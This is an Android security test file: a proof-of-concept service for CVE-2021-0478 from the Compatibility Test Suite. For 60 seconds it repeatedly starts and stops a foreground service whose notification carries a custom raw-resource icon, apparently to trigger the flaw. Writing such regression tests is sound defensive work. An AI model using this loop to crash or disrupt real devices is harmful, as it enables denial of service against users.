1 /*
2  * Copyright (C) 2021 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 package android.security.cts.cve_2021_0478;
18 
19 import android.annotation.SuppressLint;
20 import android.app.Notification;
21 import android.app.NotificationChannel;
22 import android.app.NotificationManager;
23 import android.app.Service;
24 import android.content.Intent;
25 import android.graphics.drawable.Icon;
26 import android.os.IBinder;
27 
28 public class PocService extends Service {
29 
30     private static long SCAN_DURATION_MILLIS = 60000;
31 
PocService()32     public PocService() {}
33 
34     @Override
onBind(Intent intent)35     public IBinder onBind(Intent intent) {
36         return null;
37     }
38 
39     @Override
onCreate()40     public void onCreate() {
41         super.onCreate();
42         try {
43             NotificationManager notificationManager =
44                     getSystemService(NotificationManager.class);
45             String id = "channel";
46             NotificationChannel notificationChannel =
47                     new NotificationChannel(id, " ", NotificationManager.IMPORTANCE_NONE);
48             notificationManager.createNotificationChannel(notificationChannel);
49             @SuppressLint("ResourceType")
50             Notification notification = new Notification.Builder(this, id)
51                     .setSmallIcon(Icon.createWithResource(this, R.raw.image))
52                     .setContentTitle("hello").build();
53             int notificationID = 31;
54             long startTime = System.currentTimeMillis();
55             long endTime = startTime + SCAN_DURATION_MILLIS;
56             while (System.currentTimeMillis() < endTime) {
57                 startForeground(notificationID, notification);
58                 stopForeground(true);
59             }
60         } catch (Exception e) {
61             e.printStackTrace();
62         }
63     }
64 }
65